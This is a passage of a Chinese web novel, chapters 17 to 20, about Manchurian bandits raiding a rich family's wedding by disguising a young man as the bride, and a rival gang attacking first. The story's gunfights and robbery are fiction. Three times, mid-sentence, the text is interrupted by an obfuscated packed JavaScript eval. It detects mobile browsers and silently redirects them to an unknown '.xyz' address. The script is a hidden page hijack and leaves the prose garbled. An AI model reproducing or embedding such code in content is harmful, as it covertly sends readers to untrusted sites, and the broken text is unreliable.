灶房只有郝粮一个人,万山雪爱吃的小豆腐已经拌好了搁在一边儿。万山雪拎着鱼篓子,大摇大摆走进去,往旁边一放,换来郝粮嗔怪的一眼。 “咋了,又给我找活儿!”但是当她看到鱼篓子里的鱼,又眉开眼笑,她爱吃鱼,“是白鱼啊,这才好吃呢,等我找点干枝子来炖上。” 万山雪漫不经心地答应了一声,已经轻车熟路地坐下来,抽出小刀,收拾那几条还未断气的鱼。 “济兰呢?”郝粮问,还往门外张望了一下。 “不知道。”万山雪答。 “不是,你到底咋想的?”郝粮皱着眉头瞪她,然后被万山雪手里白鱼垂死挣扎的一摆尾吓得跳了起来,缓和了一阵子,才继续说,“人家刚来咱香炉山,你不多照顾照顾?” “自己有手有脚的……照顾啥?”这回轮到万山雪皱眉头了,那鱼被他敲了一刀把,似乎变得晕头晕脑,老实多了,他开始刮鳞,“我咋想的……得问问你咋想的!” “……你可别跟我俩装犊子了行不行?”郝粮翻了个白眼,揭开锅盖,大灶里立刻冒出一股子香喷喷的白烟,“人家小孩儿挺漂亮的……人又机灵……还,还是满人咧!你哪儿不满意,你告诉告诉我,你哪儿不满意。” 万山雪似乎难以忍受,满脸厌恶地破开鱼的肚子,伸手进去掏内脏。 “姐,我的亲姐啊。兔子还不吃窝边草呢。我疯了啊我?”万山雪露出了雪白的牙齿,一闭眼,终于提里秃噜地把鱼内脏全都挖了出来,“你啥时候这么喜欢保媒拉纤了?这么着,我给你找个活儿,你给邵小飞找个小姑娘,处一处,省得天天往山上跑。” “别打岔!说你的事儿呢,不是小飞的事儿!” “……你说,你说。” “我寻思着……你这个年纪,没个女人……多难熬啊……”她哽了一下,脸上的表情忽然混杂着茫然和一点悲伤,“你相不中我……我……我总可以给你找个伴儿吧?” “……行了,欸呀。”万山雪手里还抓着一条刚刚开膛破肚的鱼,两只手都血刺呼啦的,看她这样,一下子站了起来,又不能用手去拉她,“你……这不是相得中相不中你的事儿!” “那你相中他不?” 万山雪咬起牙关,可是话到嘴边儿,无论如何也说不出口。 “……我的事儿,你别管了!” 17. 第十七章 妙计 春日的雪并不白,不蓬松,也不柔软。 关东的春雪是肮脏的灰色,是水和冰和雪的混合物。 郎项明就走在这样的路上。 他不像是一般的胡子,或者一般做生意的人,在冬天穿靰鞡,他觉得那样太粗糙、太草率、太没格调。于是冬天的时候他总是穿着柔软的鹿皮靴子,而这样一双鹿皮靴子,踩在融化的春雪之中,就难免染上脏污。 他低头看了一眼,又继续走他的路。他从不缺给他刷鞋子的人,或者说太多了,多得简直都无法推辞。 实在是因为他的个性太过活泼,根本闲不住,万山雪才给他安排了这么一个活计——他长得漂亮嘴又甜,还闲不住到处溜达,是做插千的最好的料子。他见人说人话,见鬼说鬼话,就是这么着,凭着一张巧嘴,他才能靠窑(投靠)到万山雪麾下。 他吹着口哨,推门走进了镇子上他最常去的那家车店。 这车店并不是老钱家车店,没有斜楞眼看人脾气死倔的老来少;恰恰相反,这家车店的老板长就一张笑脸,八面玲珑,每来一个客人,他就亲自迎出来。或大或小的车队马队路过这里,有些来吃顿便饭,有些来落脚几天,三教九流,一应俱全,而车店,就是靠着这些人经营下去的。 郎项明一走进来,掌柜就亲自来给他挂帽子衣裳,他有一双利眼和极好的记性,几乎记得住每一个熟客。 “郎二爷来了?好些日子没见着,在哪儿发财啊?”掌柜是个胖乎乎的中年男人,看起来十分富态,这就中和了他那双小眼睛里的精明,而显得热情可亲,“吃点儿啥?” 郎项明摇头笑道:“发啥财啊,你老真会寒碜我!不饿死就不错了。”他一路走到角落里他常坐的那桌坐下,随口道,“一道四喜丸子,一个酥黄菜。就想这一口儿,也就你家吃得着。” 掌柜笑着招呼厨子去了,郎项明一个人坐在桌子前,等他要等的人。 车店里头人声喧嚣,不是做生意的、卖山货的,就是跟他一样来路不明的人。没人关注他,但是他一直关注着别人。从小时候开始,他就耳力极佳,要不是长相不错,万山雪非要给他起个报号叫“顺风耳”不可。谁家姑娘嫁人啦,哪家地主老财又招壮丁了,米价涨到了七两……全都在他耳朵里了。 他就这么一边儿听,一边儿等,等到菜也上来了,终于在车店里头,听到了点儿有意思的东西。 一群伙计热热闹闹地坐在一桌,说着他们东家老赵家的秘辛。 “……他妈的可给老子累死了……要不是老头子非得要我亲自跑一趟,我真是打死也不去……” “咱大哥辛苦了,这顿酒可得喝透了!” “——还得是老太爷有眼光啊!这一趟下来,白花花的银子可就——” “诶。”似乎有人使了个眼色,话题很快从这一趟走商赚了多少银子上,转到了少掌柜的病:不知道是惹上什么脏东西,还是赵老太爷的吝啬和残忍招致的报应——伙计们不说,佃户们也说。赵家独生的少爷一病不起,夜夜梦魇,半年来,请了不知道多少个大神去跳,也不见多少起色。 “少东家这一病,老太爷还请过云游道士!”伙计不再提银子,提少东家,咂起嘴来,有人问“道士咋说?”,他咂嘴的声音更响了,“又是脚底心画符,又是喝符水……诶呀,屁用没有。” “那咋整?” “咋整?少东家以前不是挺稀罕老金家那老姑娘呢吗,我听说,老太爷寻思着,把人家老姑娘娶进家门,冲个喜。” 唏嘘声淹没在车店的嘈杂里,只有郎项明听得很真切。 一个伙计又说:“老金家那老姑娘?俺舅认识她四姨,你们都不知道他家都穷成啥样儿了!” 又有人问:“穷成啥样?” “穷得他妈就剩条裤衩子恨不得一家人轮流穿了!” 桌子旁爆发出一阵笑声,笑声之后,都是唏嘘和叹息。 “穷?穷不更好整了?多给点儿钱,抬进来当少奶奶呗。” “要不说她轴呢。”那伙计又咂嘴,很快说,“不过也是的……谁家齐整姑娘乐意一嫁人就守活寡啊……” 四下里响起一阵喃喃的赞同声音。 郎项明默默往嘴里扒了口饭,又听伙计说:“老金头儿这老穷鬼想钱想瞎了心啦!一听说姑娘嫁过去冲喜,一张嘴要一百两!” “真给他一百两?”又有人问。 “那咋整!赵仕国老头子就这么一个独生儿子。” “他不好几房媳妇呢吗!” “这话儿说得!地再肥,种子不好!” 一阵粗声大笑。有人说:“那老金头儿答应了?” 期盼的沉默里,伙计摇了摇头。 “咋整,那么多钱呢。” 他们显然已经吃饱了饭,于是吆喝结账,之后便成群结队地走出了车店。 郎项明也吃得差不多了,于是他招手让掌柜结账。 掌柜问他:“二爷吃得还好?” 郎项明说:“好,还是那个味儿。掌柜的,刚才刚结账走了的那群人,你认得吗?” “二爷,您又拿我打岔呢是不是?老赵家谁不认识啊!这是他家的伙计,常来我这儿落脚。老爷子赵仕国,少东家赵丰年。他家是镇子上的坐地户,倒卖山货的,也该他家命好,现在发家了,置办房子置办地的,出手大得很啊!以前不认识的,现在也都认识了。” 郎项明若有所思,又问:“这么说,是个大财主咯?” “二爷您这话说得!他家要是不算大财主,这十里八乡就没有财主了!” 一串古大钱,拴在一整根红绳上,就挂在树梢上,随着春风微微摆动。 雪白的手,握着一只小巧的花口撸子。 枪后有一只眼睛,瞄着那串动啊动的古大钱。 “我说——你到底打不打啊——” 邵小飞的音调拉得长长的,一半不耐烦,一半幸灾乐祸的窃喜。济兰仍举着枪,不为所动。 胡子们在山上的娱乐并不很多,打古大钱算是其中一个。一说到济兰的枪法,只要邵小飞在旁边,就一定会说风凉话,说得久了,就简直成了一种打枪时必备的环节,没有他,还觉得缺点什么。 “砰”地一声!紧接着是什么东西破碎的“喀”的一声。一群鸟儿乍然飞起,四散飞入晴空之中。 “好啊!咱翻垛格格的管儿是越来越亮了啊!”史田哈哈大笑,巴掌拍起来像是两把大蒲扇。红线尾端的那枚古大钱已经不见了,是被一颗稳而准的子弹打成了两半,落进了土里。邵小飞不服气地“哼”了一声,又继续嗑他的瓜子儿,直到他眼睛一瞟,瞟见山道上一个熟悉的人影,立刻如同一只离巢的乳燕一般飞了出去—— “郎大哥!” 回来的人正是郎项明,他笑着抱了抱邵小飞,又转头问:“大柜呢?” “大屋里呢。”济兰淡淡道,说话的时候已经收好了枪,跟郎项明并肩往大屋去了;在他身后,邵小飞恶狠狠地“啐”了一口。 郎项明和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516199|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 济兰走进来的时候,万山雪正在屋里头和郝粮说话,语气很急,仿佛正在争论,见他们一进来,两个人都住了口。 “欸呀,小白龙回来了?……有正事儿吧?台上拐着,先抄的海(喝水),我给你们备熟姜(熟烟)去。”说罢,郝粮急匆匆地就走了。 万山雪的脸色很沉,济兰没忍住多看了他两眼。但万山雪说话的时候稍有些缓和了:“还知道回来呢?” 郎项明笑道:“再不回来,怕大柜马上就点(毙)了我。” 万山雪也笑了:“行了,还不知道你?怎么,有财路?” 郎项明拉过一旁的板凳,坐了下来,这一坐,就比炕上的万山雪还低不少,两个人凑近了,就听郎项明说:“有!只不过,点正兰头海(目标好利头大),溜子海(风险大)。” 济兰在一旁听得云里雾里,万山雪却皱着眉头思量起来,郎项明看了一眼济兰,又说道:“这个窑可比罗保林的还大,还硬!”于是将今天下午在车店所听见的竹筒倒豆子地和盘托出。 可说是如此说,这么硬的窑,要想砸下来,绝非易事。馋得直流哈喇子,可就是吃不着,那怎么是好? 两个人正愁的时候,郝粮端着烟袋回来了,万山雪见她进来,忽然眼睛一亮,叫道:“小白龙!你刚才是不是说,后天,老赵家要抬新媳妇进门?” 屋里三双眼睛都瞪着郝粮,郝粮差点把手里的烟枪一块扔了,出了一后背的白毛汗:“咋的,看我干啥?” 郎项明怔怔地看了她一会儿,忽然把头摇得跟拨浪鼓似的:“不成,不成,这,这,嫂子哪能干这个……” 万山雪翻了个白眼,一下子伸出两只手,一左一右,捧住了郎项明的脑袋,再把他的脑袋扭向了另一个方向—— 是同样一脸茫然的济兰。 郎项明的眼睛也亮了起来。 “你是说……” 济兰呆在原地,和郝粮交换了一个眼神,彼此都不知道他们在打什么哑谜。 “好,太好了!妙,太妙了!”郎项明哈哈笑了起来,已经开始用眼睛去量济兰的身量,“正好,咱翻垛的也干过这活儿,轻车熟路,再合适不过了!” 济兰心里猛然升起一种不祥的预感。 “你们……你们不会是想……”他气得几乎浑身颤抖起来,满脸红透,不可置信地瞪大了眼,猛地转向了万山雪,“你甭想!我,我绝不可能……我是个男人!” 更令他生气的是,万山雪已经开始笑眯眯地点起了他的大烟袋锅子,长吸了一口,吞云吐雾地露出懒洋洋的满足神情,只是笑着开口时,那颗虎牙格外地惹人恨,一边说,还一边用那双总是含着坏笑的眼睛去扫他的脸和整个身子。 “咋了……咱格格害臊了?” 济兰感到一阵强烈的羞耻直冲上他的脑门和脸颊。就像抢了阿林保那天晚上,他被迫挂在万山雪肩膀上那样的羞耻。 隔着烟雾,万山雪的面容和神态又变得影影绰绰,看不清晰,语调却放缓下来了,乍一听,就好像很温柔似的。 “你传快(心眼儿来得快),管直(枪法好),不用你用谁?我们几个大老粗,扮上也不像啊!真放心让你嫂子去?看她笨笨咔咔的……”说到这儿,郝粮狠打了一下他的后背,他吃痛“诶呦”一声,又笑起来,“放心去吧,你进去了,这就是个活窑(有认识的人可以串通),再说了——” 烟雾散去了,万山雪正对着他微笑。 “大柜又不能真扔了你,让你嫁人去了!” 18. 第十八章 出嫁 老金家的老姑娘,今年刚满十六岁。 她八岁那年,她妈就害病死了,就剩下她一个独生女。也因为此,老金爱护自己的老姑娘就跟爱护眼珠子一样。 但是为了钱,他用一百两银子,卖了他的眼珠子。 老赵家给了说法,虽说是少掌柜的姨太太,小老婆,可是也有八抬大轿,风风光光的。守活寡?那不能够,按照请来的大神的说法,只要她嫁过去,赵丰年少掌柜的立刻就能好了。老金如实地转达给他的老姑娘,嘴上安慰她,心里边安慰自己。 嫁给有钱的,哪怕是做小老婆,也总比嫁给庄稼汉强不是? 老姑娘的眼泪都哭完了,眼角干干的,又干又疼,沙哑着嗓子,张口只有一句话:爹,别哭了,我嫁。 “行,行。”老金擦干了眼泪。第二天,八抬大轿就敲锣打鼓地来了。新郎官没来,在半路上等她。 老金家不住在围子里,只有几亩地。他岁数大,他姑娘是个女孩儿,能耕的地也有限。但只要她嫁过去,老金头儿就能雇上几个长工,再多置办几亩地。 十六岁的老姑娘,单薄的肩膀上扛着这几亩地和还没雇的长工,盖着盖头,穿着嫁衣,走进了轿子里头。 轿子里头逼仄而闷热。隔着盖头,只有一片红光,笼罩在她雪白而忧郁的脸上。她又摸了摸身上嫁衣的针脚,赵老太爷说了这个日子,必须是这个日子,说是十年难遇的黄道吉日,于是围子里的裁缝急忙忙赶制出来这一身嫁衣——其实她摸着有点儿大了,肩膀缝得太宽,而裤子又太长,但是她只有点头。 老金头不说,可是她咬牙不答应的时候,心里也犯嘀咕:几亩薄田里的秧苗是怎么死的?一大片一大片地死。家门口的死耗子,又是谁给挂上去的?这样的日子过了几个月,门口又给泼上红漆。她忍着眼泪,看老金头,她爹也不说话,向她投来几近乞求的目光。 她说,我嫁。 八抬大轿走得又稳又快,不知道是不是被交待过,这几个轿夫才走这么快。 所以当轿子猛地停下来的时候,老姑娘差点一头撞在轿子内壁上。 她猛地把那恼人的盖头扯了下来,因为她忽然听到了马蹄声,有如春日的惊雷,轰轰隆隆,鼓噪着一场即将到来的风雨——紧接着,轿子外那些总是粗声粗气的强壮轿夫叫嚷起来—— “马,这是,这是——” “我的妈呀,是胡子!胡——”他说到一半,“砰!”地一声,轿子外传来□□倒地的声音,他再也不说话了。 她猛地捂住嘴,缩在轿子一角发起抖来。 几个轿夫站在原地一动不动了,她没听见他们的脚步声,紧接着是哀求和泪水,比如“大爷你行行好我家里还上有老下有小”“放俺们走吧俺们啥也没看见”一类的。 紧接着,又是几声枪响! 老姑娘奇迹般地停止了筛糠似的发抖。胡子,真是胡子!求饶又有什么用? 这时候,外面的胡子居然还在笑,她听见一个人说:“大柜,都收拾干净了。” 那人没说话,另外又有人叫道:“新娘子!你别怕,出来吧!” 老姑娘听过很多关于胡子的故事。 她娘还活着的时候,为了吓唬她,让她早点睡觉,总是用胡子来吓唬她——在娘的睡前故事里头,胡子都是青面獠牙、茹毛饮血的!而且,她长大了之后才听说,不光是杀人不眨眼,这些胡子还有好色的,专把小姑娘劫上山糟蹋…… 一想到这里,她刚才聚积起来的勇气,又全都流走了。 外面的人不耐烦了:“新娘子,我说你别怕,你就别害怕!我们不劫财,也不劫色!赶快出来,误了吉时,我们也难办!” 吉时?胡子劫道,还讲究吉时的? 不过,伸头也是一刀,缩头也是一刀,早死早超生!她站了起来,小腿肚子还是转筋。瞅瞅她这命!几十年难遇的黄道吉日,就让她被胡子劫道?被胡子劫道是不是也比嫁给赵丰年好呢?这真是说不清。 她掀开轿帘,走了出去。 轿子外头,有一匹雪白的高头大马。 这马通体白色,一块杂色的斑点都没有,像是连环画里才能有的那种马。再顺着马脖子、马头往上看,就看见了马上坐着的人。 这人也是白色的,他穿一身体面衣裳,头顶上还戴着一顶白帽子——不是庄户人家那种瓜皮帽,是一种她从没见过的帽型,不知道是不是洋人的样式。那帽子下的脸呢?她又看那张脸,线条英挺,眉目英俊——或许有那么一点儿眉压眼,可是眼睛总是脉脉含着水似的,就一点儿也不凶了。此刻,这张脸正对着她。 她一下子看傻了,直到这人忽然开口说:“咋了,新娘子,相中我了?” 胡子堆儿里立刻爆发出一阵笑声。 老姑娘脸红了,可是一点儿也不怕他。这时候,忽然有人在旁边咳了两声。 她扭过头去,只见另一个人,也骑着马,走上前来——嚯!如果说白帽子是英俊,这个人就只能说是美丽了!不过,他似乎没有白帽子那么好的脾气,那双美丽而略带寒气的眼睛往她身上一扫,扫得她浑身冷飕飕的。 这十足的漂亮人皱了皱眉头。 “行了,这就换衣服吧!”那个刚才叫她别害怕的人又开口了,把她吓了一跳:这人居然只有一只眼睛! “什,什么换衣服?” 见她一脸茫然,白帽子说:“新娘子,我知道你不愿意嫁人。我给你一百二十两现银,你回家去,咋样?” 老姑娘更茫然了,漂亮人儿在她旁边冷冷哼了一声。 “别整那出儿啊。”白帽子呲嗒他,“来之前在家都说得好好儿的。” 漂亮人儿似乎气得咻咻地出气儿,不说话。 “新娘子,到底行不行?你给我个准话儿。” “行!”老姑娘梳妆精致的脑袋瓜点得像鸡啄米,为了防止他后悔,或者算出来他比赵仕国多给了二十两,赶忙又说了一遍,“行!” 老金家的老姑娘,今早上哭丧着脸穿着嫁衣裳走进轿子里,现在又乐呵呵地穿着粗布衣裳走了出来。她换衣裳之前,白帽子跟她说“这是我家媳妇的,有点儿旧,但是不埋汰,你别嫌弃”,她听了,甚至还有几分失落嘞。 但是一想到可以回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516200|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,她很快就不失落了。 老姑娘高高兴兴地走了。她认识路,再走半个时辰,她就能到家。 同一个轿子,济兰进去了,好久没出来。 “你快点儿的吧!误了吉时,到时候进不去!” 万山雪在外头半真半假地吆喝,其他人都窃笑起来。许永寿笑道:“大柜,你可别臊他了!” 又等了一会儿,等到万山雪真的要着急了,济兰终于掀开轿帘儿走了出来。 这嫁衣裳在金家老姑娘身上穿着显大,在济兰身上却是恰恰好。他还没有戴盖头,只是在手里拿着,好像那是一块脏抹布——他的脸色前所未有地臭。可是他从来生得极漂亮,比起阿玛,他更像他那个早逝的汉人额娘。那在老姑娘看来十分粗糙的针脚,穿到他身上,谁也没法儿注意了,就好像他穿的是什么金线绣的衣裳。 没人说话,济兰抬眼,直对上万山雪直勾勾的眼神。 他立刻要恼,可是不知道怎么的,只是小小“哼”了一声,又低下头去了。 他只知道万山雪的眼神看得他不自在。又不知道为什么不自在。 “大柜……大柜!”许永寿拽了拽万山雪的衣角。 万山雪忽然坐直了,一下子坐得板板正正的,把史田都吓了一跳;刚才还在马背上游刃有余地调戏人家新娘子,现在不知怎的,正襟危坐,一丝不苟地道:“挺好,挺好……呃,把,把盖头盖上吧,盖上。进去吧……” 济兰头也不敢抬,突然感觉脖子热得厉害,忙不迭钻回轿子里。 他坐在轿子里,听着外头史田叫了一声:“起轿!” 轿子猛地离了地,把他狠狠地颠了一下。 他扶住内墙,心跳乱七八糟。按照他们的计划,史田、郎项明、许永寿,还有几个崽子抬着他,万山雪在外头领着五十人等信号。照理说,这和他们砸阿林保的时候差不多,只不过,这时候可没法儿画什么布防图了,他们一进去,等宴会结束,都吃醉了酒,就里应外合,直接动手! 他忍不住拨开轿帘,从小小的缝隙之中向外望去——出乎他的意料,万山雪居然还没有走,他就骑着那匹白马,跟着他的轿子,就在他旁边。 像个新郎倌儿似的。 他猛地把轿帘放下了。 真是发瘟了! 他又在轿子里静静坐了一会儿,轿子里闷得人喘不上来气。他突然想到,赵丰年作为真正的新郎倌儿,不是应该正等在路上吗?他又掀开轿帘。 轿子外空无一人。 是了。赵丰年病得都快死了,哪还有余力来接亲?他还没来得及做出什么反应,忽然,鼓声唢呐声甚至还有镲声!它们全都一起响了起来,差点把他震聋了!他立刻躲进了轿子里,盖好盖头,把自己从那个喜庆的世界之中隔绝开来。 他敲了敲轿子壁。 外面回以他同样的三声敲击。 这是他们定好的暗号,这是说,他们遇上赵家人了。 鼎沸的人声,喧闹的喜乐,在这围子之中热闹到了一块儿。直到轿子终于颠簸到了地方,他听见轿子外的喜娘高声叫道:“新娘子下轿!” 19. 第十九章 跳大神 “日落西山,黑了天。家家户户把门闩。 行路君子奔客栈,鸟奔山林,虎归山。 鸟奔山林有了安身处,虎要归山得安然。 头顶七星琉璃瓦,脚踏八棱紫金砖。 脚踩地,头顶着天。迈开大步走连环, 双足站稳靠营盘。摆上香案请神仙……” 隔着盖头,外头喧嚷的一片,都蒙着一层,听不真切。但是伴着济兰下轿的,可不是什么喜乐! 他凝神去听,又听不出个所以然来。这是关东的什么唱词吗?不,和万山雪唱的可不一样。他起了满身的鸡皮疙瘩,锣鼓声、怪模怪样的唱声,一齐钻进他的耳朵里;一时间,济兰福至心灵,忽然想到,小白龙不是说,赵丰年病得厉害,赵老太爷不知道请了几班子出马的来跳大神了?原来跳大神是这么跳的。他听见铃铛稀里哗啦地响,不知道是谁把这么多串铃铛穿在了身上似的。大红袖子下头,他只露出了几个指尖,放在喜娘的手心——或许济兰的手比之以前略有粗糙,不过正好:哪家的农家姑娘,手细细嫩嫩的? 只是这婚礼实在让人头晕目眩,在跳大神的声音中,赵丰年似乎出来了,从盖头底下看,济兰看见了三双脚:原来赵丰年是由人一左一右地架着,送出来拜堂的。 隔着红红的盖头,谁也看不清这张脸。 济兰微微垂着眼,就看到自己穿着的一双靴子——不对,新娘子该穿绣花鞋啊?他赶忙改成了小碎步。 影影绰绰之中,他由人操纵着,连拜了三次,拜得人晕头转向。这婚礼听起来就怪异,大神唱一句,二神唱一句,在满堂宾客之中,似乎总有着窸窣的嘀咕声,使得那期望也是一种绝望。 济兰尽量起身稳些。夫妻对拜的时候,他从盖头下面隐约看见了新郎倌儿的腿脚在发抖。他略略撇了撇嘴。拜高堂的时候他心情最糟,若是搁在以前,这两个老家伙想拜他都不见得有机会! “礼成!” 随着喜娘的一声吆喝,济兰就由她牵着,往另一个屋里去了。 新郎官半死不活,新娘子迈着小碎步。渐渐消失在众人的视野之中。唏嘘声渐渐变了,又变成对跳大神的谈论。有的说赵老太爷老年得子,殊为不易,就这一个独子,大神跳了这么多回,总算要见好吧!于是就有人接上了这个吉利话,说肯定得好,你没看刚才拜堂的时候,少东家的脸色红润多了吗?又有人说,这跳大神的也是赵老太爷派人,从多远多远的哪个堡子请来的,要花多少多少钱,总之都是爱子心切。 史田、郎项明和许永寿隐没在人群之中。大神仍在唱。而手舞足蹈的大神身后,几个人在人群中鬼鬼祟祟地穿行。史田眼尖,立刻看见了,也从人群中穿过去,压低声音,怒道:“蹦住(站住)!给信号儿了吗?就动!” 那几个人面面相觑了一下,又赔上笑脸:“哥,我们几个新来的,不清楚……”他们几个人都蒙着脸,史田一时困惑,也没放在心上,只是虎着脸说:“一会儿说动了,你们再——” 说话间,宴会已经开始了,他们几个人立刻坐到了杂役们的那一片,他们“受老太爷恩惠”,也可以吃席。冲喜本来就是越热闹越好,儿子重病,他就连这“低贱的热闹”也来者不拒了。 那大神的唱词真是长啊,婚宴请来的戏班子都上不了场。史田一转头,又看见刚才那几个蒙脸的崽子,鬼鬼祟祟地挪动着,他眼睛一立,跟旁边的郎项明嘀咕说:“他们咋这么不听话,回去得请木驴子!” 那意思是该上刑。郎项明微微摇了摇头,示意他稍安勿躁。 史田只好去看大神。许永寿也在看大神。只不过他看得比史田更专注,不知道脑子里都在转些什么。 他有心想和许永寿说话,许永寿却用一根手指头搁在嘴唇上,示意他看大神。 好嘛!一个两个的,都这么胸有成竹?史田眯起他的独眼—— 那大神戴着面具,不知道长得什么样儿,看身形却很魁梧矫健。出马的都是这样,跳起来就像发了疯,据说那是仙家上了身,因此也不能说是发疯,只能说是显灵。他的二神也戴着面具,跳着跳着,却停了下来—— 忽然之间!人群之中响起一声枪声! 是那几个蒙面的崽子! 他们猛地从宴席之中站了起来,一枪打爆了前头一个来赴宴的老爷子的脑袋!乐声、鼓声、锣声一齐全停了,尔后又猛然奏响,混杂着尖叫。“他妈的!”史田大骂一声,也站起身来,两手各持一把匣子枪,对着持枪赶来的护院一阵横扫! 济兰坐在铺满桂圆花生和枣子的喜床上。 喜娘的脚步声走远了。他坐在床沿,床的里侧,躺着病恹恹的新郎倌儿。刚才有人搀着他拜堂,现在,他就只能躺在里头喘气儿。那声音就像一个破风箱,被人强行拉动,带着浓重的痰音。但如果不是这个声音,济兰或许会以为他已经死了。躺在那里,不知不觉地就死了。 身后嗬嗬作响,济兰感到这房间实在闷得厉害。他干脆拽下了那扇盖头。 他的头发长长了,但绝长不到可以将他当成女人的程度。他身后那嗬嗬作响的东西喘息声忽然急促了起来,济兰拧过身子,望着那东西。他身后的龙凤喜烛闪烁着悠悠的烛光,于是他的轮廓也淡淡地发亮,脸目却看不真切。赵丰年的眼睛瞪大了,活似一个人将死之时受到了惊骇——他确实受到了惊骇,他的身体也受不了这种惊骇。 面对着这么样脆弱的东西。 济兰想到了那只被他在背上刻字的乌龟。 他微微倾下身子来,用那双极其肖似他母亲的眼睛,专注地看着这张蜡黄而消瘦的脸庞。雪白而美丽的脸,对着将死之人的脸。那冷艳的美丽也成为一种恶意。 乌龟是不会喊痛的,乌龟也没有表情。济兰品味着这将死之人的表情,因为他第一次杀人时太过惊惶,没来得及观察过。 不—— 是因为,他第一次杀人的时候,只顾着应付万山雪了。 万山雪的脸孔清晰地映照在他脑海里。很浓密的眉毛,压着他水水的,小男孩儿似的眼睛,显出几分介于男人与少年之间的模糊。而眼前这个东西——大红色的喜服包裹着他骨瘦如柴的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516201|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如同一块裹尸布。 那张蜡黄的脸,又变作万山雪的脸。如果是万山雪穿着大红色的喜服,和他一块儿拉着红绸子……之后躺在这里……用他那似笑非笑的表情看着他,不知道是要使坏,还是要说他“心眼儿多”…… 济兰猛地直起身来。忽然之间,他对这可怜的东西失去了所有兴趣。 “你不用怕,等我们办完了事儿……”他微微睨着赵丰年,烛光打在他的侧脸和挺秀的鼻梁,“我们就——” 他话说到一半,一声枪响划破夜空,济兰猛然转过头去—— 已经打起来了?为什么没人给他信号?! 他一下子从床上跳了下来,带动满床的花生桂圆枣子劈里啪啦落了一地,外头响起凄厉的“杀人啦!”,跳大神的乐声却不停,裹挟着声声尖叫,比什么胡仙儿上身还更可怖! 他抽出花口撸子,踹门走了出去! 万山雪带着人,守在赵家不远处的一个山坡上。 他们等了一阵,还没等到信号,远远的,却只听见赵家大院里响成一片!计划赶不上变化,他大呼一声“砸窑!”,已经如一只离弦的箭般飞射出去!在他身后,成群结队的崽子们争相追着他,从山坡上飞驰而下! 赵家大院的婚礼,当真热闹非凡。 许多人都看见了,赵家大院乱成一片,宾客们哭嚎着想要跑出大门,就差一个门槛儿,便在后背中了一枪,脸朝下趴了下去,这一倒,就又被争先恐后往门外逃的人踩断了气儿。 万山雪的人马从侧门杀入,外逃的宾客们见了他,顿觉逃生无望,可是万山雪只是冷冷看了他们一眼,由得他们四散逃走了。 大院之中,横七竖八的,一地尸体。 在那尸体正中,出马的大神仍唱着他的神调,仿佛永远不会力竭。他手中的铃铛仍摇着,随着他毫无章法跳跃着的步伐,而响得越见狂乱。就仿佛这满地的尸体,给他的仙家助了兴一般。万山雪的人马冲了进来,在人群之中,有崽子一眼看见了史田他们,叫了一声“大柜”,但万山雪的马停了步子,他的目光仍然注视着那出马的大神,一动不动。 大神的舞步渐渐停下了。 丑陋的面具之后,他也同样注视着万山雪。 隔着满地的尸体,和忙着洗劫的崽子们,万山雪坐在马上,大神站在原地。乐声停了。 史田和许永寿郎项明几个人领着一队人,抬着几个大箱子,箱子里装满了金条、银元和长枪,从库房里头走了出来。大神的身后,也有更多蒙面的崽子们回来了。 史田看看万山雪,又看看对面的大神和那几个蒙面的崽子,一时间张口结舌,说不出话来。郎项明也愣住了,看看许永寿,许永寿说:“那……那不是咱们的人。” 那当然不是他们的人! 仇恨是一种直觉。万山雪坐在马上,像是一座以假乱真的雕像。胡子有胡子的规则。一个连脸都不敢露的胡子,最是可鄙。这么可鄙的人,他一生中也只认识那么几个。他忽然开口了。 “三荒子,你啥时候他妈的改跳大神了?” 20. 第二十章 火并 万山雪望着三荒子,三荒子也望着万山雪。 半晌,在不寻常的沉默之中,他伸手,从下往上地推起了那块丑陋的面具。面具上绑着铃铛的小辫儿稀里哗啦地响。面具背后,是一张纯刚性的脸面,颧骨很高。他长得一双三白眼,眼白较常人面积大些,于是他的凝视就显出几分狡猾的凶相,合着执拗的专注,总令人起鸡皮疙瘩。 他一身鸡零狗碎的装饰,袖子是一圈破布条,行动间露出底下坚实的肌肉纹理。闻言,他一笑,露出白森森的牙齿。 “我说今天砸窑这么顺当。”三荒子说,一只手还背在身后,“原来是你万山雪出了大力啊!还以为你他娘的就可着窝边草啃呢。” 这是说去年万山雪劫粮队的事儿了。 两边人马都静得可怕。万山雪对面,蒙面的崽子们虎视眈眈。 万山雪忽然也一笑。 “窝边草好啃。就是有的台炮(傻子),啃这么个窝边草,连命都搭上了,你说值不值得?” 